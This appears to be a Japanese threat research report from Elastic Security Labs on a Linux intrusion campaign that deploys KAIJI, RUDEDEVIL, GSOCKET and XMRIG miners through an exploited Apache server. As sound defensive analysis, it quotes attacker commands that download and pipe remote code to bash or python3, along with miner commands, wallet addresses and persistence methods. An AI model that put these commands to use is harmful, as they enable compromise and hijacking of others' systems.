はじめに
ここ数か月で、Elastic Security Labsは、脆弱なサーバーを標的とした高度なLinuxマルウェアキャンペーンを発見しました。 攻撃者は、 2024 年3月にApache2 Webサーバーを悪用して侵害を開始しました。 初期アクセスを得た攻撃者は、複雑な侵入セットを展開して、永続性を確立し、侵害されたホストに対する制御を拡大しました。
脅威アクターは、カーネルプロセスを装ったC2チャネル、通信用のテレグラムボット、スケジュールされたタスク実行用のcronジョブなど、さまざまなツールとマルウェアを組み合わせて利用していました。 特に、KAIJIやRUDEDEVILなどの複数のマルウェアファミリを、カスタムメイドのマルウェアとともに展開しました。 DDoS攻撃能力で知られるKAIJIと、暗号通貨マイナーのRUDEDEVILは、悪意のある目的でシステムリソースを悪用するために使用されました。
私たちの調査では、ギャンブルAPIを活用したビットコイン/XMRマイニングスキームの可能性が明らかになり、攻撃者が侵害されたホストを使用してマネーロンダリング活動を行っている可能性があることが示唆されました。 また、これまでにないハッシュを含む新しいKAIJIサンプルのアップロードを毎日ホストするファイル共有にもアクセスできました。これは、マルウェア作成者による積極的な開発と適応を示しています。
この調査出版物では、キャンペーンの詳細を掘り下げ、攻撃者の戦術、手法、手順を包括的に分析しています。 初期アクセスをどのように確立したか、永続化と権限昇格に使用された方法、および各段階で展開されたマルウェアについて説明します。 さらに、ステルス通信のためのGSOCKETとTelegramの使用を含む、コマンドアンドコントロールインフラストラクチャについても説明します。
実行フロー
初期アクセス(Initial Access)
私たちのチームは、 2024 年3月にApache2を実行しているサーバー上で任意のコードが実行されることで最初に侵害されたホストを観察しました。 この侵害の証拠は、Apache2プロセスを介した id
コマンドの実行に見られ、その後、脅威アクターがWebサーバーを悪用し、 www-data
ユーザーアカウントでKAIJIマルウェアを展開していることがわかります。
Kaijiの展開直後、攻撃者はwww-data
アカウントを使用して、URLhttp://61.160.194[.]160:35130
から00.sh
という名前のスクリプトをダウンロードし、さらに調査した結果、RUDEDEVILマルウェアのいくつかのバージョンもホストしていました。
00.sh
は、次のようなステージャーです。
- デフォルトのシェルと PATH を設定します。
- 複数のログファイルを削除して、実行の痕跡を消去します。
ps
、netstat
、lsof
、および一般的なマイニングプロセス名のリストを活用して、侵害されたホスト上の潜在的なマイニング競合を殺します。- ホスト上の
iptables
ルールをフラッシュし、特定の宛先ポートとマイニングプールへの接続をブロックするいくつかのiptables
ルールを設定し、iptables
を無効にします。 - 最後に、第 2 ステージ (
sss6
/sss68
) をダウンロードして実行し、実行トレースを消去します。
次の図は、ステージャーの圧縮バージョンを示しています。 [...]
の注釈が付けられた行は、読みやすくするために短縮されています。
ファイルサーバ
攻撃者は、バックドア化されたWebサーバープロセスを介して、次のコマンドを使用してマルウェアをダウンロードし、実行しました。
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
l64
ファイルとl86
ファイルはからダウンロードされます http://107.178.101[.]245:5488
その後、すべての権限を付与され、実行され、削除されます。これらのマルウェアサンプルをホストしているサーバーを見ると、次のことがわかります。
これは、さまざまなアーキテクチャのいくつかのタイプのマルウェアをホストしているファイルサーバーのようです。 ファイルサーバーはRejettoテクノロジーを活用しています。 これらのマルウェアには、アップロード日とダウンロード カウンターがあります。 たとえば、9 月 10 日にアップロードされた download.sh
ファイルは、すでに 3,100 回ダウンロードされています。
ルーデビル/ルシファー
詳しく調べたところ、ダウンロードされて実行されたファイル sss6
は、RUDEDEVILマルウェアとして特定されました。 実行プロセスの早い段階で、このマルウェアファミリーに特徴的な埋め込みメッセージに遭遇します。
Hi, man. I\'ve seen several organizations report my Trojan recently,
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
I don\'t have any accommodation. I don\'t want to do anything illegal.
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
thank yo
ファイルサーバーでホストされている l64
ファイルと l86
ファイルには、同じマルウェアが含まれていることに注意してください。 マルウェアの実行フローを分析すると、マルウェアの主な機能がいくつかの重要なタスクを実行していることがわかります。
- デーモンの初期化: このプロセスは、
daemon(1, 0)
を使用してデーモンに変換されます。 - ソケットの作成: ソケットが作成され、特定のポートにバインドされます。
- 信号処理: カスタムシグナルハンドラは、さまざまなシグナルに対して設定されます。
- サービスの初期化: いくつかのサービスは
SetFILE
を使用して開始されます。 - 特権処理: ルート権限をチェックし、それに応じてリソース制限を調整します。
- 復号化: マルウェアは、その構成 BLOB を復号化します。
- スレッドの作成: マイニング、プロセスの強制終了、ネットワークとCPUの使用率の監視などのタスクのために、複数のスレッドが生成されます。
- メインループ: プログラムは無限ループに入り、サーバーに繰り返し接続して、指定された時間スリープします。
暗号化ルーチンを調べると、XORベースのエンコーディングが利用されていることがわかります。
コンテンツを静的にデコードするために、基本的なPythonスニペットを開発しました。
def DecryptData(data_block, encryption_key):
key_modifier = encryption_key & 0xFF
key_index = key_modifier // 0x5F # 0x5F = 95 in decimal
modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal
for i in range(len(data_block)):
data_block[i] ^= modifier
data_block[i] &= 0xFF # Ensure 8-bit value
data_block[i] += modifier
data_block[i] &= 0xFF # Ensure 8-bit value
return data_block
# Encoded data as hex strings
encoded_data = [
'4c494356515049490c467978',
'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
'0f424d4e0f435536575649484b',
'5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]
encryption_key = 0x03FF # 1023 in decimal
# Process and decrypt each encoded data string
for data in encoded_data:
# Convert hex string to list of integers
data_bytes = bytes.fromhex(data)
data_block = list(data_bytes)
# Decrypt the data
decrypted_block = DecryptData(data_block, encryption_key)
# Convert decrypted data back to bytes
decrypted_bytes = bytes(decrypted_block)
print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
設定をデコードすると、次の値が表示されます。
- 最初の値 C2 ドメイン
nishabii[.]xyz
です。 - 2 番目の値は、XMRIG に渡されるオプションを示します。
- 3 番目の値は、マルウェアが使用する一時ファイルの場所を示しています。
- 最後の 4 番目の文字列は、XMRIG バイナリのダウンロード場所を示しています。
マルウェアのスレッド管理
このマルウェアは、そのコア操作を処理するためにいくつかのスレッドを開始します。 これらの機能の一部がどのように機能するかを詳しく見ていきましょう。
KillPid 関数について
スレッドの 1 つは、プロセスを継続的に監視および管理するように設計された KillPid 関数を実行します。 この関数は、現在のスレッドをデタッチすることから開始し、他のプロセスをブロックせずにバックグラウンドで実行できるようにします。 その後、無限ループに入り、タスクを繰り返し実行します。
その機能の中心にあるのは、マルウェアが終了させたいプロセスの名前が含まれている sb_name
と呼ばれる配列です。
この関数は 2 秒ごとに、この配列にリストされているプロセスをシステムにチェックし、 getPidByName
というヘルパー関数を使用してプロセス ID (PID) を取得します。 各反復の後、リスト内の次のプロセスに移動し、 sb_name
内のすべてのプロセスが確実に処理されます。
興味深いことに、配列内のすべての要素を処理した後、関数はプロセスチェックを再開する前に、 600 秒間(約 10 分間)の延長スリープに入ります。 このスリープ期間の延長は、システムリソースを節約し、マルウェアがプロセスの監視中にCPU時間を過度に消費しないようにするために実装されている可能性があります。
Get_Net_Messages機能を理解する
もう1つの重要なスレッドは、ネットワークトラフィックの監視、特に eth0
ネットワークインターフェイスに焦点を当てています。 この機能は、 getOutRates
関数によって処理されます。 この関数は、必要な変数を設定し、各インターフェイスの詳細なネットワーク統計を含む /proc/net/dev
ファイルを開くことから始まります。
ファイルが正常に開かれると、マルウェアは最大 1024 バイトのデータブロックを読み取り、それを処理して関連するネットワーク統計を抽出します。 特に eth0
インターフェイスを検索し、標準の文字列解析方法を使用して出力レート データを解析します。 成功した場合、関数は eth0
の出力レートを返します。それ以外の場合は、 0
を返し、エラーが発生してもマルウェアが引き続き機能するようにします。
このルーチンにより、マルウェアは感染したマシンのネットワークアクティビティを静かに監視でき、インターフェイスを介して送受信されるデータを追跡する可能性があります。
Get_Cpu_Message機能を理解する
CPUの監視には、マルウェアは GetCpuRates
機能を使用します。 この機能は、 /proc/stat
からデータを読み取ることにより、CPU 使用率を継続的に監視します。 ネットワークデータの処理方法と同様に、CPU統計が読み取られて解析されるため、マルウェアはシステムのCPU使用率を計算できます。
この関数は無限ループで動作し、システムの過負荷を避けるために、各反復の間に 1 秒間スリープします。 何らかの理由でファイルを開くことができない場合、関数はエラーをログに記録し、正常に終了します。 ただし、ファイルを読み取ることができる限り、CPU使用率を継続的に監視し、マルウェアがシステムパフォーマンスを認識し続けるようにします。
Send_Host_Message関数を理解する
おそらく、最も重要なスレッドは、システム情報をマルウェアのオペレーターに送り返すスレッドです。 _SendInfo
機能は、感染したシステムのCPUとネットワークの使用状況に関するデータを収集することで、このタスクを実行します。まず、バッファーを設定し、必要なデータを収集するためのファイルパスを準備します。 システムのステータスに応じて、CPU とネットワークの使用量を文字列にフォーマットします。
さらに、この関数は、特定のプロセスがシステムで実行されているかどうかを確認し、それに応じて書式設定されたメッセージを調整します。 最後に、このフォーマットされたデータをソケット接続を介してコマンドアンドコントロールサーバーに送り返します。
基本的に、この機能により、マルウェアは感染したマシンをリモートで監視し、CPU負荷やネットワークアクティビティなどの重要な詳細を収集できます。 オペレーターは、この情報を使用して感染状況を評価し、必要に応じて活動を調整できます。
コマンド&コントロール(C2)サーバーへの接続
すべてのスレッドが稼働すると、マルウェアはC2サーバーとの接続を確立することに焦点を移します。 これは、メインスレッドの ConnectServer
関数によって管理され、サーバーとの通信を処理し、コマンドをリモートで実行します。
ConnectServer 関数について
ConnectServer
関数が最初に実行するタスクは、ServerConnectCli
を使用して C2 サーバーへの接続を確立することです。接続に成功すると、マルウェアはキープアライブ設定を有効にするようにソケットを構成し、接続が長期間にわたって安定するようにします。
接続が設定されると、マルウェアはホスト名、ユーザー情報、CPU仕様、メモリの詳細など、さまざまなシステム情報を収集します。 この情報は、初期データペイロードとしてサーバーに送信され、攻撃者は感染したマシンの詳細なビューを得ることができます。
この初期設定の後、マルウェアは進行中のループに入り、サーバーからのコマンドを待って処理します。 処理されるコマンドの種類はさまざまで、DDoS攻撃の開始、CPUを集中的に使用する操作の停止または開始、システムコマンドの実行、暗号通貨マイニングアクティビティの管理などのタスクが含まれます。 ループは無期限に続き、マルウェアはオペレーターが送信したコマンドを実行する準備ができています。
接続が不要になったとき、またはマルウェアが終了コマンドを受け取ったとき、マルウェアはソケットを正常に閉じ、サーバーとのセッションを終了します。
コマンド&コントロール(C2)コマンド
ConnectServer
機能は、C2サーバーからのさまざまなコマンドを処理し、それぞれが感染したシステムの異なる側面を制御するように設計されています。マルウェアによって処理されたコマンドの内訳は次のとおりです。
- ケース4: このマルウェアは
DealwithDDoS
関数を呼び出し、分散型サービス拒否(DDoS)攻撃を開始する可能性があります。 - ケース5:
StopFlag
を1
に設定すると、マルウェアに特定のタスクを停止するように通知される可能性があります。 - ケース6:
http_get
を使用してサーバーからファイルをダウンロードし、その権限を変更してから実行します。このコマンドにより、攻撃者は感染したマシン上で追加のマルウェアやスクリプトを実行することができます。 - ケース7:
system
関数を使用してシステム コマンドを実行し、攻撃者がシステムのコマンド ラインを直接制御できるようにします。 - ケース8:
StopCpu
を0
に設定し、以前に停止した CPU タスクを再起動します。 - ケース9:
StopCpu
を1
に設定し、すべての CPU タスクを停止します。 - ケース0xA: CPUマイニング構成を新しいデータで更新し、現在のプロセスのPIDを取得して、マルウェアが暗号通貨マイニング操作を変更できるようにします。
- ケース0xB:
stopxmr
を1
に設定し、XMRIGマイナーを効果的に停止します。 - ケース0xC:
stopxmr
を0
にリセットし、現在のプロセス PID を取得して、マイニング アクティビティを再開します。
各コマンドにより、マルウェアのオペレーターは、感染したマシンの動作(DDoS攻撃に参加しているのか、新しいマルウェアを実行しているのか、マイニング操作を管理しているのか)を正確に制御できます。
RUDEDEVILマルウェアとXMRIG構成の亜種
前述のファイルサーバーがアクティブである一方で、RUDEDEVILマルウェアの複数のバージョンがアップロードされていることを確認しました。 これらのバージョンのコア機能はほぼ同じままで、唯一の重要なバリエーションは、暗号通貨マイニングに使用される埋め込みXMRIGコマンドです。
マルウェアの各バージョンは、同じマイニングプール( c3pool.org
)に接続するように構成されていましたが、XMRIGマイナーに渡されるパラメーターにわずかな違いがあります。
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0
これらの各コマンドは、マイナーに同じマイニングプールに接続するように指示しますが、異なるウォレットまたは構成を指定します。 c3pool
アプリケーションを調べると、これらのコマンドに関連付けられている両方のXMRアドレスが現在アクティブでマイニングされていることを確認しました。
さらに、この分析を通じて、これら2つのマイニングキャンペーンによって生み出された総利益を推定することができ、RUDEDEVILマルウェアの財務的影響と違法な暗号通貨マイニング操作との関連性を強調しています。
GSOCKET
永続性を確立するために、脅威アクターは、ファイアウォールまたはNATの背後にあるマシン間で暗号化された通信を可能にするように設計されたネットワークユーティリティである GSOCKETをダウンロードしてインストールしました。 GSOCKET は、グローバル ソケット リレー ネットワーク (GSRN) を介して安全で永続的な接続を作成します。 このオープンソースツールには、AES-256暗号化、エンドツーエンドの通信セキュリティのサポート、SSH、netcat、TORとの互換性などの機能が含まれており、暗号化されたファイル転送、リモートコマンドの実行、さらには非表示のサービスの作成が可能です。
GSOCKET は本質的に悪意のあるものではありませんが、その機能は疑わしい目的で利用される可能性があります。
デプロイされると、GSOCKET は永続性を維持し、その存在を隠すためにいくつかのアクションを実行します。 まず、アクティブなカーネルプロセスをシステムにチェックして、どのプロセスをマスカレードするかを決定します。
次に、バイナリをダウンロードして共有メモリに格納するための /dev/shm/.gs-1000
ディレクトリを作成します。 さらに、デフォルトでは、/home/user/.config/htop/
の下に/htop
ディレクトリを設定して、GSOCKETバイナリとその操作に使用される秘密鍵の両方を格納します。
次に、秘密鍵を使用してGSOCKETバイナリを毎分実行するcronジョブが設定されます。
バイナリは、 exec -a [process_name]
コマンドを使用してカーネルプロセスの名前で実行されるため、検出を回避する能力がさらに向上します。 cron ジョブには base64 でエンコードされたコマンドが含まれており、デコードすると、永続化メカニズムが定期的に実行され、正当なカーネルプロセスに偽装されます。
ペイロードをデコードすると、defunct.dat
秘密鍵が引数として使用され、defunct
バイナリが実行されることがわかります。これは、exec -a
コマンドを使用して[raid5wq]
としてマスカレードされます。
cron ジョブの使用に加えて、GSOCKET には、シェル プロファイルの変更、実行制御 (rc.local
)、および Systemd を通じて永続性を確立する機能があります。 GSOCKET は、潜在的な永続化の場所を列挙します。
GSOCKETは、TelegramやDiscordの統合など、複数のWebhookをサポートしており、リモートコントロールと通知を可能にします。
最後に、インストール後、GSOCKETは、作成または変更されたすべてのファイルが、インストールのトレースを消去しようとするためにtimestompedされることを確認します。
これらの機能により、GSOCKETはステルス性と永続性を求める脅威アクターにとって魅力的なツールとなっています。 このキャンペーンでは、GSOCKETが悪用され、検出を回避しようとしながら、C2サーバーに戻る秘密チャネルを確立しました。
さらに、PHPペイロードは外部IPから取得され、 404.php
として保存されており、将来のアクセスのためのバックドアとして機能している可能性があります。 このペイロードは入手できませんでした。
侵害後の滞留時間
目立った活動がなかった3週間の静寂の後、脅威アクターは組み込みのPython3を利用して新しいコマンド&コントロールサーバーへの逆接続を確立し、運用を再開しました。
ホストへのアクセスを回復した後、新しいバージョンの KAIJI マルウェアがデプロイされました。
KAIJI マルウェア: 以前のサンプルとの比較
検出されたファイルサーバー上のファイルを調査しているときに、シェルスクリプトが見つかりました。 このシェルスクリプトは、前の段階でダウンロードに使用されるメインファイルのようで、被害者の正しいアーキテクチャが使用されていることを確認します。
同じシェル スクリプトが、このスクリプトが KAIJI のデプロイに使用される他のレポートにも見られます。
調査の一環として、ファイルサーバーで見つかったKAIJIマルウェアのサンプルを分析し、2022年にBlack Lotus Labsによって特定されたサンプルと比較しました。 彼らの Chaos
(KAIJI)の詳細な分析は、 こちらのブログ記事でご覧いただけます。
バイナリ比較ツールである BinDiffを使用して、バイナリ内の関数を比較しました。 分析の結果、サンプルのコードは、以前に特定された2022年のKAIJIサンプルと同一であることが明らかになりました。
コードは同じですが、C2サーバーのアドレスという重要な違いが1つ際立っていました。 どちらのバイナリでも機能は一貫していましたが、異なるC2ドメインを指していました。
逆アセンブルを深く掘り下げると、 main_Link
という名前の関数が特定されました。 この機能は、マルウェアが使用したC2サーバーアドレスをデコードする役割を果たします。
デコードされると、関数はアドレス内の |(odk)/*-
接尾辞を検索して削除し、C2ドメインとポートのみを残します。 このプロセスにより、マルウェアはC2サーバーと通信できるようになりますが、サンプル間で連絡先のアドレスが変わる可能性があります。
KAIJIを静的にリバースエンジニアリングするリソースがいくつか公開されているため、代わりにその動作についてより詳細に見ていきます。
実行後、KAIJI は /etc/
ディレクトリと /dev/
ディレクトリにいくつかのファイル ( /etc/id.services.conf
、 /etc/32678
、 /dev/.img
/dev/.old
) を作成します。 これらのスクリプトは、永続性を確立する場所です。
/etc/init.d/linux_kill
と crond.service
の 2 つのサービスが設定されます。crond.service
は Systemd によって実行され、 linux_kill
は SysVinit の永続化に使用されます。
Systemdデーモンをリロードした後、C2への最初のネットワーク接続が試行されます。
次に、 Systemd Late generator
サービス ファイルが作成されます。 Systemd
の仕組みと、この方法を通じて永続性を確立するさまざまな方法の詳細については、最近のブログシリーズ「Linux Detection Engineering - A primer on persistence mechanisms」を参照してください。
KAIJI は、以前にデプロイされた Systemd
サービスを通じて実行される実行可能ファイルである /boot/System.img.config
ファイルを作成します。このバイナリは、他のバイナリの中でも、永続性を確立する別の方法です。
次に、KAIJI は SELinux
ポリシーを調整して、不正なアクションを許可します。 監査ログで System.img.conf
に関連する拒否された操作を検索し、これらのアクションを許可する新しい SELinux
ポリシーを生成し、優先度の高いポリシーをインストールします。 これにより、マルウェアは、通常はその活動をブロックするセキュリティ制限を回避します。
さらに、bashプロファイルを通じて複数の追加の永続化形式を設定し、さらに2つの悪意のあるアーティファクトを作成します。 /usr/lib/libd1rpcld.so
と /.img
。
その直後に、echo コマンドによって /etc/crontab
が変更され、 /.img
ファイルが設定されたスケジュールで root によって実行されるようになります。
KAIJI は、いくつかのデフォルトのシステムバイナリを異常な場所に移動し続け、途中で検出を回避しようと試みています。
KAIJI は renice
コマンドを使用して、KAIJI が植え付けた実行可能ファイルの 1 つである PID 2957
に最高の優先度 (-20 から 19 のスケールで、最低が最高の優先度) を付与し、他のプロセスよりも多くの CPU リソースを取得するようにします。
検出を回避するために、KAIJIは、システム内でディレクトリがマウントおよび表示される方法を操作することにより、悪意のあるアクティビティを隠蔽する防御回避方法であるバインドマウント技術を採用しました。
最後に、 cron
が /.img
を実行したトレースが表示されます。これは、以前に /etc/crontab
ファイルに植え付けられました。
物語は続く
その2週間後、Apacheのバックドアが再び活発になりました。 別のバックドアは、次のコマンドを使用して、Apache2プロセスを介して www-data
ユーザーを介してダウンロードされました。
sh -c wget http://91.92.241[.]103:8002/gk.php
このペイロードの内容は不明のままです。 この段階では、手動の権限昇格の試みが観察され、攻撃者は pspy64
. Pspy
は、root権限を必要とせずにLinuxシステムでプロセスをスヌーピングするためのコマンドラインツールです。 他のユーザーによって開始されたプロセスを含む実行中のプロセスを監視し、cron ジョブの実行などのイベントをキャプチャします。 このツールは、システムアクティビティの分析、特権昇格の試みの特定、プロセスによってトリガーされたコマンドとファイルシステムの相互作用のリアルタイムでの監査に特に役立ちます。 これは一般的に、攻撃者が侵害後のシナリオで偵察するために利用し、システムタスクと潜在的な脆弱性を可視化します。
注目すべきは、 pspy64
が [rcu_preempt]
親によって実行され、脅威アクターがWebサーバーのバックドアの利用からGSOCKETバックドアの使用に移行したことを示しています。
特権昇格のさらなる試みには、pwnkit
とも呼ばれるCVE-2021-4034
の悪用が含まれていました。この脆弱性は、LinuxシステムのPolicyKitパッケージの pkexec
コンポーネントに影響を及ぼし、権限のないユーザーがroot権限で任意のコードを実行する可能性があります。 この欠陥を利用することで、攻撃者はシステムへの昇格されたアクセス権を取得し、影響を受けるマシンを完全に制御できる可能性があります。
カスタムビルドバイナリ
その直後、攻撃者は apache2
という名前のカスタムビルドのマルウェアをダウンロードしようとし、以下から apache2v86
しました。
http://62.72.22[.]91/apache2
http://62.72.22[.]91/apache2v86
これらのファイルのコピーを取得しましたが、現在、VirusTotalでは検出されていません。 ただし、動的に実行すると、セグメンテーション障害が観察され、テレメトリでは侵害されたホストでのセグメンテーション違反アクティビティが確認されました。 1週間以上にわたり、脅威アクターはこれらのバイナリの変更、アップロード、実行を 15 回以上試みましたが、度重なるセグメンテーション違反のため、このカスタムマルウェアの実行に成功した可能性は低いです。
バイナリは実行に失敗しましたが、リバースエンジニアリング中に貴重な洞察を提供しました。 サンプル内でいくつかのXORエンコードされた文字列を発見しました。
文字列のエンコードに使用された XOR キーは、 0x79
(または文字 y
) として識別されました。 文字列をデコードした後、マルウェアが構築しようとしていたHTTPリクエストヘッダーの断片を発見しました。
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
これは、マルウェアがHTTPリクエストを作成中であったことを示しています。 しかし、ヘッダーの不完全な性質と実行の繰り返しの失敗に基づいて、このソフトウェアがまだ完全に開発されておらず、動作していなかったことは明らかです。
追加の偵察
攻撃者は、The Hacker's Choiceのツールを引き続き使用し、 whatserver.sh
をダウンロードして実行しました。
このシェル スクリプトは、サーバー情報を収集して表示するように設計されています。 SSL 証明書、Nginx、Apache 構成ファイルから完全修飾ドメイン名 (FQDN) などの詳細を抽出し、CPU とメモリの使用量、仮想化の詳細、ネットワーク設定などのシステムリソース情報を抽出します。 このスクリプトは、最後にログインしたユーザーや現在リッスンしているサービスなど、最近のアクティビティを要約することもできます。
鉱業活動
約2週間にわたる手動によるエクスプロイトの試みの後、脅威アクターは権限を昇格させる努力をやめ、おそらくrootアクセスを取得できなかったと思われます。 代わりに、 www-data
ユーザーとして永続性を確立し、GSOCKETを利用してSSL接続を設定しました。これは、 [mm_percpu_wq]
と呼ばれるカーネルプロセスに偽装されていました。
base64の内容をデコードすると、非常に見慣れた外観の出力が得られます。
私たちの行動ルールを通じて、脅威アクターは現在のユーザーのcrontabエントリをリストアップし、ペイロードを直接crontabにエコーしていることがわかります。
このコマンドは、毎分 http://gcp.pagaelrescate[.]com:8080/ifindyou
ダウンロードし、bash にパイプしようとします。 の内容を見ると ifindyou
、次のBashスクリプトが表示されます。
このスクリプトは、ホスト名とIP情報を収集し、http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC
(XMRIG)からSystemdXC
アーカイブをダウンロードし、これを/tmp/SystemdXC
に保存し、アーカイブを抽出して、マイニングビットコインを開始するために必要なパラメーターで実行します。
マイニングコマンドを調べると、マルウェアがXMRIGをどのように構成しているかを確認できます。
このコマンドは、感染したマシンのホスト名をマイニングプロセスの識別子として使用して、 unmineable.com
マイニングプールに接続します。 執筆時点では、ウォレットアドレス1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz
のビットコインマイニングを行うアクティブなワーカーが 15 います。
ビットコインアドレスをさらに調査したところ、このアドレスが単一のトランザクションを実行したことがわかりました。
興味深いことに、この取引の出力アドレスは、Binanceに関連する有名な ホットウォレット を指しており、攻撃者がマイニング収益を取引所プラットフォームに送金した可能性があることを示しています。
スクリプトにフォーカスを戻すと、2 つのコマンドがコメントアウトされていますが、これは後でより明確になります。 スクリプトは、次のものを実行します。
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
このペイロードを見ると、次の内容を確認できます。
このステージでは、コマンドの出力を確認し、これをTelegramチャットボットに送信します。 Telegramの行動ルールにより、Telegram POSTリクエストは次のようになっていることがわかります。
このステージでセットアップされる cron ジョブは、4 時間ごとに 0 分に実行されます。 このジョブは、次のものを実行します。
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
ダウンロードしたPythonスクリプトは、HTTPリクエストを介してオンラインギャンブルゲームとの対話を自動化します。 このスクリプトには、ユーザー認証、ベッティング、結果の処理、およびリモートサーバーへのデータ送信を処理する関数が含まれています。
詳しく調べた結果、スクリプトの次の主要なコンポーネントが特定されました。
グローバル変数:
usuario
: セッションを管理するためのユーザー ID を格納します。apuesta
: ベット額を表します。ganancias
:賞金と損失を追跡します。saldo_actual
: 現在の口座残高を保持します。
obteneruid
機能を理解する
この関数は、必要なヘッダーとJSONデータを含むPOSTリクエストをリモートサーバーに送信することで、ユーザーを認証します。 ユーザーがまだ設定されていない場合は、新しいセッションを初期化し、アカウント残高を取得します。 認証が成功すると、セッションUUIDが返され、ゲーム内でのさらなるインタラクションに使用されます。
enviardatos
機能を理解する
この機能は、ゲームデータまたはステータスの更新を gcp.pagaelrescate[.]com
に送り返し、ゲームプレイ中に行った結果またはアクションを記録します。 単純な GET 要求を使用して、このデータをリモート サーバーに送信します。
hacerjugada
機能を理解する
hacerjugada
機能は、設定されたラウンド数のベッティングプロセスをシミュレートします。ベットを行うためのPOSTリクエストを送信し、各ラウンド後に賞金または損失を更新し、全体的な結果を計算します。 ボーナスラウンドがトリガーされると、ボーナスゲームの詳細を処理するために completarbono()
を呼び出します。 各ベッティングラウンドの間に、この機能は自然なゲームプレイを模倣し、検出を回避するために30秒の遅延を強制します。
completarbono
機能を理解する
ボーナスラウンドがトリガーされると、この機能はセッションIDとラウンドIDを含むリクエストを送信してラウンドを完了します。 結果に基づいて、アカウントの残高を更新し、勝ち負けを記録します。 残高の変更は、 enviardatos()
機能を使用してリモート・サーバーに送り返されます。
テスト目的で使用される可能性が高い
このスクリプトは、ギャンブルアプリのデモ版と相互作用するため、テスト目的で使用される可能性が高いことに注意することが重要です。 これは、攻撃者がギャンブルアクションの自動化をテストしたり、ライブバージョンに移行する前にアプリの脆弱性を見つけようとしている可能性があることを示唆しています。 デモ環境の使用は、彼らがアプローチを洗練していることを意味し、より高度な攻撃や広範な攻撃に備えている可能性があります。
MITRE ATT&CKによるREF6138
Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。 この調査では、以下の戦術、手法、およびサブ手法を特定しました。
MITRE ATT&CKの戦術、技術、および使用されるサブ技術
戦術 | テクニック | サブテクニック |
---|---|---|
リソース開発(Resource Development) | T1587: 能力の開発 | マルウェア |
T1588: 能力の取得 | 道具 | |
T1608: ステージ機能 | マルウェアのアップロード | |
アップロードツール | ||
初期アクセス(Initial Access) | T1190: 公開アプリケーションの悪用 | |
実行 | T1059: コマンドおよびスクリプト インタープリタ | Unixシェル |
Python | ||
T1053: スケジュールされたタスク/ジョブ | Cron | |
永続化 | T1546: イベント トリガー実行 | Unix シェル設定の変更 |
T1053: スケジュールされたタスク/ジョブ | Cron | |
T1505: サーバソフトウェアコンポーネント | Webシェル | |
権限昇格 | T1068: 特権昇格のためのエクスプロイト | |
防御回避 | T1140: ファイルまたは情報の難読化解除/デコード | |
T1222: ファイルとディレクトリのアクセス許可の変更 | LinuxおよびMacのファイルとディレクトリのアクセス許可の変更 | |
T1564: アーティファクトを隠す | 隠しファイルと隠しディレクトリ | |
T1070:インジケーターの取り外し | タイムストンプ | |
T1036: マスカレード | マスカレードのタスクまたはサービス | |
T1027 : 難読化されたファイルまたは情報 | ソフトウェアパッキング | |
剥奪されたペイロード | ||
コマンドの難読化 | ||
暗号化/エンコードされたファイル | ||
ディスカバリ | T1057: プロセスディスカバリー | |
T1082: システム情報検出 | ||
T1061: システム ネットワーク構成の検出 | ||
T1049: システム ネットワーク接続の検出 | ||
T1007: システム・サービス・ディスカバリー | ||
収集 | T1119: 自動コレクション | |
T1005: ローカル システムからのデータ | ||
コマンド&コントロール(Command and Control) | T1071: アプリケーション層プロトコル | Web Protocols |
T1132: データ エンコード | 標準エンコーディング | |
T1001: データの難読化 | ||
T1573: 暗号化チャネル | 対称暗号 | |
T1105: イングレスツールトランスファー | ||
T1571:非標準ポート | ||
T1572: プロトコル トンネリング | ||
T1102: Web サービス | ||
インパクト | T1496: リソースハイジャック |
検出REF6138
